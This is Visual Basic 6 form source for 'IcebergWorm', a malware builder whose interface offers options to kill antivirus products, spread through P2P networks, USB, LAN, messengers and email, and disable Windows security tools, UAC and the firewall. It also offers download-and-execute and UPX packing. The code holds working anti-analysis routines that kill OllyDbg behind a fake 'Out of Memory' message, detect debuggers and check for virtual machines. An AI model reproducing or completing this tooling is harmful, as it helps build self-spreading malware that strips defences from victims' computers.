            Begin VB.CheckBox MATAPCTOOLS 
               Caption         =   "Check1"
               Height          =   255
               Left            =   4200
               TabIndex        =   91
               Tag             =   "Avs"
               Top             =   3000
               Width           =   255
            End
            Begin VB.CheckBox MATAMALWAREBYTES 
               Caption         =   "Check1"
               Height          =   255
               Left            =   4200
               TabIndex        =   90
               Tag             =   "Avs"
               Top             =   1920
               Width           =   255
            End
            Begin VB.CheckBox MATAAHNLAB 
               Caption         =   "Check1"
               Height          =   255
               Left            =   4200
               TabIndex        =   89
               Tag             =   "Avs"
               Top             =   840
               Width           =   255
            End
            Begin VB.CheckBox MATAIMUNET 
               Caption         =   "Check1"
               Height          =   255
               Left            =   3240
               TabIndex        =   88
               Tag             =   "Avs"
               Top             =   3000
               Width           =   255
            End
            Begin VB.CheckBox MATAZONER 
               Caption         =   "Check1"
               Height          =   255
               Left            =   3240
               TabIndex        =   87
               Tag             =   "Avs"
               Top             =   1920
               Width           =   255
            End
            Begin VB.CheckBox MATAWEEBROT 
               Caption         =   "Check1"
               Height          =   255
               Left            =   3240
               TabIndex        =   86
               Tag             =   "Avs"
               Top             =   840
               Width           =   255
            End
            Begin VB.CheckBox MATAVBA32 
               Caption         =   "Check1"
               Height          =   255
               Left            =   2280
               TabIndex        =   85
               Tag             =   "Avs"
               Top             =   3000
               Width           =   255
            End
            Begin VB.CheckBox MATATRENDMICRO 
               Caption         =   "Check1"
               Height          =   255
               Left            =   2280
               TabIndex        =   84
               Tag             =   "Avs"
               Top             =   1920
               Width           =   255
            End
            Begin VB.CheckBox MATAVEXIRA 
               Caption         =   "Check1"
               Height          =   255
               Left            =   2280
               TabIndex        =   83
               Tag             =   "Avs"
               Top             =   840
               Width           =   255
            End
            Begin VB.CheckBox MATAAVAST 
               Caption         =   "Check1"
               Height          =   255
               Left            =   1440
               TabIndex        =   82
               Tag             =   "Avs"
               Top             =   3000
               Width           =   255
            End
            Begin VB.CheckBox MATAASQUARED 
               Caption         =   "Check1"
               Height          =   255
               Left            =   360
               TabIndex        =   81
               Tag             =   "Avs"
               Top             =   3000
               Width           =   255
            End
            Begin VB.CheckBox MATAGDATA 
               Caption         =   "Check1"
               Height          =   255
               Left            =   1440
               TabIndex        =   80
               Tag             =   "Avs"
               Top             =   1920
               Width           =   255
            End
            Begin VB.CheckBox MATANORTON 
               Caption         =   "Check1"
               Height          =   255
               Left            =   360
               TabIndex        =   79
               Tag             =   "Avs"
               Top             =   1920
               Width           =   255
            End
            Begin VB.CheckBox MATAKASPERSKY 
               Caption         =   "Check1"
               Height          =   255
               Left            =   1440
               TabIndex        =   78
               Tag             =   "Avs"
               Top             =   840
               Width           =   255
            End
            Begin VB.CheckBox MATANOD32 
               Caption         =   "Check1"
               Height          =   255
               Left            =   360
               TabIndex        =   77
               Tag             =   "Avs"
               Top             =   840
               Width           =   255
            End
         End
      End
      Begin VB.Frame Frame29 
         Caption         =   "Spreading Methods"
         Height          =   4575
         Left            =   -74880
         TabIndex        =   38
         Top             =   360
         Width           =   10695
         Begin VB.Frame Frame5 
            Height          =   4215
            Left            =   8040
            TabIndex        =   67
            Top             =   240
            Width           =   2535
            Begin VB.CheckBox ShareazaSpreader 
               Caption         =   "Shareaza Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   173
               Tag             =   "Spreader"
               Top             =   3480
               Width           =   1695
            End
            Begin VB.CheckBox XoloxSpreader 
               Caption         =   "XoloX Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   166
               Tag             =   "Spreader"
               Top             =   3120
               Width           =   1695
            End
            Begin VB.CheckBox RapidgatorSpreader 
               Caption         =   "Rapigator Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   165
               Tag             =   "Spreader"
               Top             =   2760
               Width           =   1695
            End
            Begin VB.CheckBox EmuleSpreader 
               Caption         =   "Emule Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   74
               Tag             =   "Spreader"
               Top             =   2400
               Width           =   1455
            End
            Begin VB.CheckBox TeslaSpreader 
               Caption         =   "Tesla Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   73
               Tag             =   "Spreader"
               Top             =   2040
               Width           =   1455
            End
            Begin VB.CheckBox swaptorSpreader 
               Caption         =   "Swaptor Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   72
               Tag             =   "Spreader"
               Top             =   1680
               Width           =   1455
            End
            Begin VB.CheckBox WinmxSpreader 
               Caption         =   "WinMX Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   71
               Tag             =   "Spreader"
               Top             =   1320
               Width           =   1455
            End
            Begin VB.CheckBox AresSpreader 
               Caption         =   "Ares Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   70
               Tag             =   "Spreader"
               Top             =   960
               Width           =   1455
            End
            Begin VB.CheckBox ICQSpreader 
               Caption         =   "ICQ Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   69
               Tag             =   "Spreader"
               Top             =   600
               Width           =   1335
            End
            Begin VB.CheckBox KMDSpreader 
               Caption         =   "KMD Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   68
               Tag             =   "Spreader"
               Top             =   240
               Width           =   1455
            End
         End
         Begin VB.Frame Frame4 
            Height          =   4215
            Left            =   5280
            TabIndex        =   55
            Top             =   240
            Width           =   2535
            Begin VB.CheckBox GroksterSpreader 
               Caption         =   "Grokster Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   66
               Tag             =   "Spreader"
               Top             =   240
               Width           =   2055
            End
            Begin VB.CheckBox MorpheusSpreader 
               Caption         =   "Morpheus Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   65
               Tag             =   "Spreader"
               Top             =   600
               Width           =   1935
            End
            Begin VB.CheckBox BearshareSpreader 
               Caption         =   "BearShare Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   64
               Tag             =   "Spreader"
               Top             =   960
               Width           =   1935
            End
            Begin VB.CheckBox KaZaaSpreader 
               Caption         =   "KaZaA Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   63
               Tag             =   "Spreader"
               Top             =   1320
               Width           =   1575
            End
            Begin VB.CheckBox Edonkey2000Spreader 
               Caption         =   "EDONKEY2000 Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   62
               Tag             =   "Spreader"
               Top             =   1680
               Width           =   2175
            End
            Begin VB.CheckBox Filetopia3Spreader 
               Caption         =   "Filetopia3 Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   61
               Tag             =   "Spreader"
               Top             =   2040
               Width           =   2175
            End
            Begin VB.CheckBox DirectconnectspreadSpreader 
               Caption         =   "Direct Connect Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   60
               Tag             =   "Spreader"
               Top             =   2400
               Width           =   2175
            End
            Begin VB.CheckBox ApplejuicespreadSpreader 
               Caption         =   "AppleJuice Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   59
               Tag             =   "Spreader"
               Top             =   2760
               Width           =   1815
            End
            Begin VB.CheckBox GnucleusSpreader 
               Caption         =   "Gnucleus Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   58
               Tag             =   "Spreader"
               Top             =   3120
               Width           =   1695
            End
            Begin VB.CheckBox LimewireSpreader 
               Caption         =   "LimeWire Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   57
               Tag             =   "Spreader"
               Top             =   3480
               Width           =   1695
            End
            Begin VB.CheckBox OvernetSpreader 
               Caption         =   "Overnet Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   56
               Tag             =   "Spreader"
               Top             =   3840
               Width           =   1935
            End
         End
         Begin VB.Frame Frame31 
            Height          =   4215
            Left            =   2760
            TabIndex        =   50
            Top             =   240
            Width           =   2415
            Begin VB.CheckBox ZIPSpreader 
               Caption         =   "ZIP Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   164
               Tag             =   "Spreader"
               Top             =   3120
               Width           =   1215
            End
            Begin VB.CheckBox RARSpreader 
               Caption         =   "RAR Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   163
               Tag             =   "Spreader"
               Top             =   2760
               Width           =   1215
            End
            Begin VB.CheckBox BatSpreader 
               Caption         =   ".BAT Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   162
               Tag             =   "Spreader"
               Top             =   2400
               Width           =   1215
            End
            Begin VB.CheckBox vbsSpreader 
               Caption         =   "VBS Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   158
               Tag             =   "Spreader"
               Top             =   2040
               Width           =   1575
            End
            Begin VB.CheckBox DropboxSpreader 
               Caption         =   "Dropbox Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   157
               Tag             =   "Spreader"
               Top             =   1680
               Width           =   1575
            End
            Begin VB.CheckBox OmegleSpreader 
               Caption         =   "Omegle Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   54
               Tag             =   "Spreader"
               Top             =   1320
               Width           =   1455
            End
            Begin VB.CheckBox YahooSpreader 
               Caption         =   "Yahoo Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   53
               Tag             =   "Spreader"
               Top             =   960
               Width           =   1455
            End
            Begin VB.CheckBox PPTSpreader 
               Caption         =   ".PPT Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   52
               Tag             =   "Spreader"
               Top             =   600
               Width           =   1455
            End
            Begin VB.CheckBox MailSpreader 
               Caption         =   "Mail [ Outlook ]"
               Height          =   255
               Left            =   120
               TabIndex        =   51
               Tag             =   "Spreader"
               Top             =   240
               Width           =   1455
            End
         End
         Begin VB.Frame Frame30 
            Height          =   4215
            Left            =   120
            TabIndex        =   39
            Top             =   240
            Width           =   2415
            Begin VB.CheckBox MSNSpreader 
               Caption         =   "MSN Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   174
               Tag             =   "Spreader"
               Top             =   3840
               Width           =   1215
            End
            Begin VB.CheckBox IRCSpreader 
               Caption         =   "IRC Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   49
               Tag             =   "Spreader"
               Top             =   3480
               Width           =   1215
            End
            Begin VB.CheckBox VBESpreader 
               Caption         =   ".VBE Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   48
               Tag             =   "Spreader"
               Top             =   3120
               Width           =   1335
            End
            Begin VB.CheckBox PLGSpreader 
               Caption         =   ".PLG Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   47
               Tag             =   "Spreader"
               Top             =   2760
               Width           =   1215
            End
            Begin VB.CheckBox DLLSpreader 
               Caption         =   ".Dll Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   46
               Tag             =   "Spreader"
               Top             =   2400
               Width           =   1095
            End
            Begin VB.CheckBox SRCSpreader 
               Caption         =   ".Src Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   45
               Tag             =   "Spreader"
               Top             =   2040
               Width           =   1335
            End
            Begin VB.CheckBox EXESpreader 
               Caption         =   ".Exe Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   44
               Tag             =   "Spreader"
               Top             =   1680
               Width           =   1335
            End
            Begin VB.CheckBox DOCSpreader 
               Caption         =   ".Doc Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   43
               Tag             =   "Spreader"
               Top             =   1320
               Width           =   1335
            End
            Begin VB.CheckBox LANSpreader 
               Caption         =   "LAN Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   42
               Tag             =   "Spreader"
               Top             =   960
               Width           =   1335
            End
            Begin VB.CheckBox USBSpreader 
               Caption         =   "USB Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   41
               Tag             =   "Spreader"
               Top             =   600
               Width           =   1215
            End
            Begin VB.CheckBox P2PSpreader 
               Caption         =   "P2P Spread"
               Height          =   255
               Left            =   120
               TabIndex        =   40
               Tag             =   "Spreader"
               Top             =   240
               Width           =   1335
            End
         End
      End
      Begin VB.Frame Frame28 
         Caption         =   "Internet Block"
         Height          =   615
         Left            =   -68760
         TabIndex        =   36
         Top             =   3960
         Width           =   4575
         Begin VB.CheckBox avisfuckwebsite 
            Caption         =   "Block AntiViruses / Security Websites   [3000]"
            Height          =   255
            Left            =   120
            TabIndex        =   37
            Tag             =   "Block"
            Top             =   240
            Width           =   4215
         End
      End
      Begin VB.Frame Frame22 
         Caption         =   "Download and Execute"
         Height          =   615
         Left            =   120
         TabIndex        =   35
         Top             =   4920
         Width           =   3975
         Begin VB.CheckBox CheckDownloader 
            Caption         =   "Downloader"
            Height          =   255
            Left            =   1200
            TabIndex        =   236
            Tag             =   "Downloader"
            Top             =   240
            Width           =   1935
         End
      End
      Begin VB.Frame Frame20 
         Caption         =   "[ UPX ]"
         Height          =   615
         Left            =   4200
         TabIndex        =   32
         Top             =   4920
         Width           =   3135
         Begin VB.CheckBox CheckUPX 
            Caption         =   "Pack with UPX"
            Height          =   255
            Left            =   240
            TabIndex        =   33
            Tag             =   "UPX"
            Top             =   240
            Width           =   2295
         End
      End
      Begin VB.Frame Frame27 
         Caption         =   "Change Icon"
         Height          =   1695
         Left            =   -68760
         TabIndex        =   25
         Top             =   2040
         Width           =   4575
         Begin VB.Frame Frame16 
            Caption         =   "Icon"
            Height          =   1335
            Left            =   120
            TabIndex        =   26
            Top             =   240
            Width           =   4335
            Begin VB.TextBox Text2 
               Height          =   285
               Left            =   2160
               TabIndex        =   31
               Text            =   "ICEBERGWORM"
               Top             =   240
               Width           =   2055
            End
            Begin VB.CommandButton cmdFile 
               Caption         =   "File"
               Height          =   255
               Left            =   2160
               TabIndex        =   30
               Top             =   600
               Width           =   2055
            End
            Begin VB.TextBox Text1 
               Height          =   285
               Left            =   120
               TabIndex        =   29
               Top             =   240
               Width           =   1935
            End
            Begin VB.CommandButton cmdIcon 
               Caption         =   "Icon"
               Height          =   255
               Left            =   120
               TabIndex        =   28
               Top             =   600
               Width           =   1935
            End
            Begin VB.CommandButton cmdCambiar 
               Caption         =   "Change icon"
               Height          =   255
               Left            =   120
               TabIndex        =   27
               Top             =   960
               Width           =   4095
            End
         End
      End
      Begin VB.Frame Frame14 
         Caption         =   "Anti's"
         Height          =   4455
         Left            =   -69480
         TabIndex        =   16
         Top             =   600
         Width           =   3375
         Begin VB.Frame Frame15 
            Caption         =   "Option"
            Height          =   615
            Left            =   120
            TabIndex        =   23
            Top             =   3720
            Width           =   3135
            Begin VB.CheckBox CheckAllAntis 
               Caption         =   "Select All  /  Deselect All"
               Height          =   255
               Left            =   120
               TabIndex        =   24
               Top             =   240
               Width           =   2775
            End
         End
         Begin VB.CheckBox Ollydbg 
            Caption         =   "OLLYDBG"
            Height          =   255
            Left            =   240
            TabIndex        =   22
            Tag             =   "Antis"
            Top             =   2160
            Width           =   2415
         End
         Begin VB.CheckBox VirtualBox 
            Caption         =   "VirtualBox"
            Height          =   255
            Left            =   240
            TabIndex        =   21
            Tag             =   "Antis"
            Top             =   1800
            Width           =   2415
         End
         Begin VB.CheckBox DefenderWindows 
            Caption         =   "Windows Defender"
            Height          =   255
            Left            =   240
            TabIndex        =   20
            Tag             =   "Antis"
            Top             =   720
            Width           =   1935
         End
         Begin VB.CheckBox Norman 
            Caption         =   "Norman"
            Height          =   255
            Left            =   240
            TabIndex        =   19
            Tag             =   "Antis"
            Top             =   1440
            Width           =   1095
         End
         Begin VB.CheckBox Wine 
            Caption         =   "Wine"
            Height          =   255
            Left            =   240
            TabIndex        =   18
            Tag             =   "Antis"
            Top             =   1080
            Width           =   2055
         End
         Begin VB.CheckBox VMWARE 
            Caption         =   "VMWARE"
            Height          =   255
            Left            =   240
            TabIndex        =   17
            Tag             =   "Antis"
            Top             =   360
            Width           =   1695
         End
      End
      Begin VB.Frame Frame12 
         Caption         =   "Sandboxie"
         Height          =   615
         Left            =   -72960
         TabIndex        =   10
         Top             =   5040
         Width           =   6855
         Begin VB.CheckBox DestroySandboxie 
            Caption         =   "Kill service and files"
            Height          =   255
            Left            =   120
            TabIndex        =   11
            Tag             =   "Sandboxie"
            Top             =   240
            Width           =   3015
         End
      End
      Begin VB.Frame Frame11 
         Caption         =   "Windows Security"
         Height          =   4455
         Left            =   -72960
         TabIndex        =   4
         Top             =   600
         Width           =   3255
         Begin VB.CheckBox uacseven 
            Caption         =   "UAC    [ Windows Vista, 7 and 8 ]"
            Height          =   255
            Left            =   120
            TabIndex        =   161
            Tag             =   "Security"
            Top             =   2880
            Width           =   3015
         End
         Begin VB.Frame Frame13 
            Caption         =   "Option"
            Height          =   615
            Left            =   120
            TabIndex        =   14
            Top             =   3720
            Width           =   3015
            Begin VB.CheckBox CheckAllWindowsSecurity 
               Caption         =   "Select All  /  Deselect All"
               Height          =   255
               Left            =   120
               TabIndex        =   15
               Top             =   240
               Width           =   2775
            End
         End
         Begin VB.CheckBox Firewall 
            Caption         =   "Firewall"
            Height          =   255
            Left            =   120
            TabIndex        =   13
            Tag             =   "Security"
            Top             =   2520
            Width           =   1815
         End
         Begin VB.CheckBox UAC 
            Caption         =   "UAC [ Windows XP ]"
            Height          =   255
            Left            =   120
            TabIndex        =   12
            Tag             =   "Security"
            Top             =   2160
            Width           =   2175
         End
         Begin VB.CheckBox DisableWinSecurityCenter 
            Caption         =   "Windows Security Center"
            Height          =   255
            Left            =   120
            TabIndex        =   9
            Tag             =   "Security"
            Top             =   1800
            Width           =   2175
         End
         Begin VB.CheckBox Windowsupdate 
            Caption         =   "Windows Update"
            Height          =   255
            Left            =   120
            TabIndex        =   8
            Tag             =   "Security"
            Top             =   1440
            Width           =   2055
         End
         Begin VB.CheckBox Regedit 
            Caption         =   "Regedit"
            Height          =   255
            Left            =   120
            TabIndex        =   7
            Tag             =   "Security"
            Top             =   1080
            Width           =   1935
         End
         Begin VB.CheckBox Runcommandline 
            Caption         =   "Run command line"
            Height          =   255
            Left            =   120
            TabIndex        =   6
            Tag             =   "Security"
            Top             =   720
            Width           =   2175
         End
         Begin VB.CheckBox Taskmananger 
            Caption         =   "Task Manager"
            Height          =   255
            Left            =   120
            TabIndex        =   5
            Tag             =   "Security"
            Top             =   360
            Width           =   2175
         End
      End
   End
   Begin VB.Timer Timer1 
      Left            =   13800
      Top             =   1680
   End
   Begin VB.Frame Frame3 
      Caption         =   "Idiomas"
      Height          =   495
      Left            =   0
      TabIndex        =   2
      Top             =   8160
      Width           =   10935
      Begin VB.Image Image5 
         Height          =   165
         Left            =   1560
         Picture         =   "Slore.frx":4CFF8
         Top             =   240
         Width           =   240
      End
      Begin VB.Image Image1 
         Height          =   165
         Left            =   1200
         Picture         =   "Slore.frx":515C8
         Top             =   240
         Width           =   240
      End
      Begin VB.Image Image4 
         Height          =   165
         Left            =   480
         Picture         =   "Slore.frx":55B80
         ToolTipText     =   "Português"
         Top             =   240
         Width           =   240
      End
      Begin VB.Image Image3 
         Height          =   165
         Left            =   840
         Picture         =   "Slore.frx":5A1B2
         ToolTipText     =   "English"
         Top             =   240
         Width           =   240
      End
      Begin VB.Image Image2 
         Height          =   165
         Left            =   120
         Picture         =   "Slore.frx":5E83E
         ToolTipText     =   "Castellano"
         Top             =   240
         Width           =   240
      End
   End
   Begin InetCtlsObjects.Inet Inet1 
      Left            =   8880
      Top             =   0
      _ExtentX        =   1005
      _ExtentY        =   1005
      _Version        =   393216
   End
   Begin MSComDlg.CommonDialog CD 
      Left            =   9000
      Top             =   0
      _ExtentX        =   847
      _ExtentY        =   847
      _Version        =   393216
   End
   Begin VB.Frame Frame1 
      Height          =   2055
      Left            =   0
      TabIndex        =   0
      Top             =   0
      Width           =   10935
      Begin NotifyIcon.NotifyIconCtrl NotifyIcon 
         Left            =   8880
         Top             =   120
         _ExtentX        =   1508
         _ExtentY        =   714
         Enabled         =   0   'False
      End
      Begin VB.PictureBox Picture1 
         AutoRedraw      =   -1  'True
         AutoSize        =   -1  'True
         Height          =   1620
         Left            =   120
         MouseIcon       =   "Slore.frx":62E1F
         Picture         =   "Slore.frx":655C1
         ScaleHeight     =   1560
         ScaleWidth      =   10635
         TabIndex        =   1
         Top             =   240
         Width           =   10695
      End
   End
   Begin XtremeSkinFramework.SkinFramework SkinFramework1 
      Left            =   9120
      Top             =   480
      _Version        =   851972
      _ExtentX        =   635
      _ExtentY        =   635
      _StockProps     =   0
   End
   Begin VB.Menu mnuEdit 
      Caption         =   "Menu"
      Begin VB.Menu mnuWindowArrangeIconZ 
         Caption         =   "-"
      End
      Begin VB.Menu mnuWindowTileVertical 
         Caption         =   "About"
         Shortcut        =   ^A
      End
      Begin VB.Menu mnuFileDelete 
         Caption         =   "-"
      End
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
Private Declare Sub InitCommonControls Lib "comctl32" ()
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function ShellExecute _
                            Lib "shell32.dll" _
                            Alias "ShellExecuteA" ( _
                            ByVal hwnd As Long, _
                            ByVal lpOperation As String, _
                            ByVal lpFile As String, _
                            ByVal lpParameters As String, _
                            ByVal lpDirectory As String, _
                            ByVal nShowCmd As Long) _
                            As Long
                            Private Declare Sub GetStartupInfoW Lib "kernel32" (ByRef lpStartupInfo As Any)

Private Type DATOS
    nombre As String
    activado As Integer
    valor As String
    tag As String
End Type


Private Sub CheckAllAVS_Click()
Dim bb As Control
For Each bb In Me.Controls
    If bb.tag = "Avs" Then
        If CheckAllAVS.Value = vbChecked Then
            bb.Value = vbChecked
        Else
            bb.Value = vbUnchecked
        End If
    End If
Next bb
End Sub

Private Sub CheckAllSpreaders_Click()
Dim bb As Control
For Each bb In Me.Controls
    If bb.tag = "Spreader" Then
        If CheckAllSpreaders.Value = vbChecked Then
            bb.Value = vbChecked
        Else
            bb.Value = vbUnchecked
        End If
    End If
Next bb
End Sub

Private Sub CheckDownloader_Click()
    If CheckDownloader = 1 Then
        DownloaderIcer.Show
    End If
End Sub

Private Sub CheckAllAntis_Click()
Dim bb As Control
For Each bb In Me.Controls
    If bb.tag = "Antis" Then
        If CheckAllAntis.Value = vbChecked Then
            bb.Value = vbChecked
        Else
            bb.Value = vbUnchecked
        End If
        
    End If
Next bb

End Sub

Private Sub CheckInstall_Click()
Dim bb As Control
For Each bb In Me.Controls
    If bb.tag = "Install" Then
        If CheckInstall.Value = vbChecked Then
            bb.Enabled = True
        Else
            If bb.Name <> "CheckInstall" Then
                bb.Enabled = False
            End If
        End If
    End If
Next bb


End Sub

Private Sub CheckMsgBox_Click()
Dim bb As Control
For Each bb In Me.Controls
    If bb.tag = "Msgbox" Then
        If CheckMsgBox.Value = vbChecked Then
            bb.Enabled = True
            TestMsgButton.Enabled = True
        Else
            If bb.Name <> "CheckMsgBox" Then
                bb.Enabled = False
                TestMsgButton.Enabled = False
            End If
        End If
    End If
Next bb
End Sub

Private Sub Command3_Click()
r1.Visible = True
r2.Visible = False
r3.Visible = False
r4.Visible = False
End Sub

Private Sub Command4_Click()
r1.Visible = False
r2.Visible = True
r3.Visible = False
r4.Visible = False
End Sub

Private Sub Command5_Click()
r1.Visible = False
r2.Visible = False
r3.Visible = True
r4.Visible = False
End Sub

Private Sub Command8_Click()
r1.Visible = False
r2.Visible = False
r3.Visible = False
r4.Visible = True
End Sub



Private Sub Image1_Click()
Call Lang_Italian
End Sub

Private Sub Image2_Click()
Call Lang_Spanish
End Sub
Private Sub Image3_Click()
Call Lang_English
End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim Result As Long
Dim msg As Long
If Me.ScaleMode = vbPixels Then
msg = X
Else
msg = X / Screen.TwipsPerPixelX
End If
Select Case msg
Case 517
Case 514
Result = SetForegroundWindow(Me.hwnd)
Me.Show
End Select
End Sub

Private Sub Form_Terminate()
Shell_NotifyIcon NIM_DELETE, nid
End
End Sub

Private Sub Form_Unload(Cancel As Integer)
Shell_NotifyIcon NIM_DELETE, nid
End
End Sub
Private Sub Form_Load()
InitializeTrayIcon
Call IsOdbg
'Me.Height = 9810
'Me.Width = 6820
Dim pathskin As String
Dim archivo() As Byte

pathskin = "C:\skin.msstyles"
archivo = LoadResData(101, "CUSTOM")

Open pathskin For Binary As #1
    Put #1, , archivo
Close #1
SkinFramework1.LoadSkin "C:\skin.msstyles", vbNullString
SkinFramework1.ApplyWindow Me.hwnd
Call sVMWARE
Call IsVirtualPCPresent

'Parte (General) Ingles
Call Lang_English
End Sub


Private Sub cmdFile_Click()

With CD
        .DialogTitle = "Selecciona tu archivo"
        .Filter = ".exe|*.exe"
        .ShowOpen
End With

If Not CD.FileName = vbNullString Then
    Text2.Text = CD.FileName
MsgBox "Iceberg Cargado Correctamente", vbInformation
    Else
MsgBox "Falta el Iceberg ¿ No ?", vbCritical, "IcebergWorm"

End If

End Sub

Private Sub cmdIcon_Click()

With CD
        .DialogTitle = "Cambiar Icono al IcebergWorm"
        .Filter = ".ico|*.ico"
        .ShowOpen
End With

If Not CD.FileName = vbNullString Then
    Text1.Text = CD.FileName
MsgBox "Icono Cargado", vbInformation
    Else
MsgBox "El icono no parece cargar correctamente", vbCritical, "IcebergWorm"
End If
End Sub

Private Sub Image4_Click()
Call Lang_Portugues
End Sub

Private Sub Image5_Click()
Call Lang_Aleman
End Sub

Private Sub mnuWindowTileVertical_Click()

AboutIcer.Show
Form1.Visible = False
End Sub

Private Sub NotifyIcon_MouseMove()
Form1.Show
End Sub


'---------------------------------------------------------------------------------------
' Procedure : SkullButton_Click
' Author    : Velario
' Date      : 01/09/2012
' Purpose   : IcebergWorm Loader
'---------------------------------------------------------------------------------------
Private Sub SkullButton_Click()
    Dim Build As Control
    Dim todos() As DATOS
    Dim tipos As String
    Dim separados() As String
    Dim i As Long
    Dim j As Long
    tipos = "Spreader|Install|Especial|Notrun|Melt|Mutex|Downloader|UPX|Protect Process|Avs|Spreader|Security|Antis|Sandboxie|Msgbox|Block|DeleteCookies"
    separados = Split(tipos, "|")
    For Each Build In Me.Controls
        ReDim Preserve todos(i)
        For j = 0 To UBound(separados)
            If Build.tag = separados(j) Then
                todos(i).tag = Build.tag
                todos(i).nombre = Build.Name
                If Right(Build.Name, 3) = "_T_" Then
                    todos(i).valor = Build.Text
                Else
                    If Build.Value = True Then
                        todos(i).activado = 1
                    ElseIf Build.Value = False Then
                        todos(i).activado = 0
                    Else
                        todos(i).activado = Build.Value
                    End If
                End If
            End If
        Next j
        If todos(i).tag <> "" Then i = i + 1
    Next Build
    
    For Each Build In DownloaderIcer.Controls
        ReDim Preserve todos(i)
            If Build.tag = "Downloader" Then
                todos(i).tag = Build.tag
                todos(i).nombre = Build.Name
                If Right(Build.Name, 3) = "_T_" Then
                    todos(i).valor = Build.Text
                End If
            End If
        If todos(i).tag <> "" Then i = i + 1
    Next Build
    
    Dim s As String
    s = CreateObject("WScript.Shell").Specialfolders("Desktop")
    Dim archivo As String
    Open s & "\miramebien.txt" For Output As #1
        For i = 0 To UBound(todos)
            If todos(i).tag <> "" Then
                Print #1, todos(i).tag & " Nombre=" & todos(i).nombre & " Activo="; todos(i).activado & " String="; todos(i).valor
            End If
        Next i
    Close #1
End Sub

Private Sub CheckAllWindowsSecurity_Click()
Dim bb As Control
For Each bb In Me.Controls
    If bb.tag = "Security" Then
        If CheckAllWindowsSecurity.Value = vbChecked Then
            bb.Value = vbChecked
        Else
            bb.Value = vbUnchecked
        End If
    End If
Next bb
End Sub



Private Sub Text3_Click()
'Text3.Text = ""
End Sub



Private Sub Timer1_Timer()
If ProcessExist("OLLYDBG.EXE") = True Then
KillProcess ("OLLYDBG.exe")
MsgBox "Out of Memory", vbCritical, "Error"
End If
End Sub
Private Sub CheckCUrun_Click()
Call ValueEnabled
End Sub
Private Sub CheckLMrun_Click()
Call ValueEnabled
End Sub
Private Sub CheckExplorerRun_Click()
Call ValueEnabled
End Sub

Private Sub ValueEnabled()
If CheckCUrun Or CheckLMrun Or CheckExplorerRun = vbChecked Then RegistryValueName_T_.Enabled = True Else RegistryValueName_T_.Enabled = False
End Sub
Private Sub TestMsgButton_Click()
MsgBox MsgBoxText_T_, MsgBoxIcon + MsgBoxButton, MsgBoxTitle_T_
End Sub

Private Function MsgBoxIcon() As Integer
If Noicon = True Then MsgBoxIcon = "0"
If InfoIcon = True Then MsgBoxIcon = "64"
If ExclamationIcon = True Then MsgBoxIcon = "48"
If CriticalIcon = True Then MsgBoxIcon = "16"
If QuestionIcon = True Then MsgBoxIcon = "32"
End Function

Private Function MsgBoxButton() As Integer
If OkButton = True Then MsgBoxButton = "0"
If OkCancelButtons = True Then MsgBoxButton = "1"
If RetryCancelButtons = True Then MsgBoxButton = "5"
If YesNoButtons = True Then MsgBoxButton = "4"
If YesNoCancelButtons = True Then MsgBoxButton = "3"
If AbortRetryIgnoreButtons = True Then MsgBoxButton = "2"
End Function
Public Function IsOdbg() As Boolean
    Dim bvStartupInfo(0 To 16)  As Long
    Call GetStartupInfoW(bvStartupInfo(0))
    IsOdbg = (bvStartupInfo(11) And &H80)
End Function
Private Sub cmdBrowse_Click()
    With dlg
        .Filter = "Executable Files (*.exe)|*.exe"
        .ShowOpen
    End With
    
    txtSource.Text = dlg.FileName
End Sub

Private Sub cmdBrowse2_Click()
    With dlg
        .Filter = "Executable Files (*.exe)|*.exe"
        .ShowOpen
    End With
    
    txtDestination.Text = dlg.FileName
End Sub

Private Sub cmdClone_Click()
    CloneFileInformation txtSource.Text, txtDestination.Text
    MsgBox "Done"
End Sub

